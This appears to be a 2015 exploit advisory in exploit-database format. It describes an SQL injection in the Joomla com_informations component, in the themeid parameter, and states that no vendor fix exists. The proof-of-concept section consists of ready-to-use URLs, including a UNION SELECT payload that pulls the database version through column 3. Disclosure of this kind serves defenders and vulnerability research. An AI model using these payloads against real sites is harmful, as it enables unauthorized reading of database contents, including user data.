27 lines
No EOL
776 B
Text
27 lines
No EOL
776 B
Text
# Exploit Title: Joomla com_informations component SQL Injection vulnerability
|
|
# Date: 13-08-2015
|
|
# Software Link: N/A
|
|
# Exploit Author: Omar AbuHassan
|
|
# Contact: https://www.linkedin.com/pub/omar-abu-hassan/bb/600/960
|
|
# CVE: N/A
|
|
# Category: webapps
|
|
# Version: All
|
|
# Tested on: Kali linux (x64) / Windows 8.1 pro (x64)
|
|
|
|
1. Description
|
|
|
|
Normal user can inject sql query in the url which lead to read data from the database.
|
|
|
|
2. Proof of Concept
|
|
|
|
http://[target]/index.php?option=com_informations&view=sousthemes&themeid=-3 (SQLI)
|
|
|
|
Injected column is # 3
|
|
|
|
http://[target]//index.php?option=com_informations&view=sousthemes&themeid=999.9+union+select+111,222,version()%23
|
|
|
|
** No solution yet from vendor **
|
|
|
|
#######################
|
|
# Greets to Palestine #
|
|
####################### |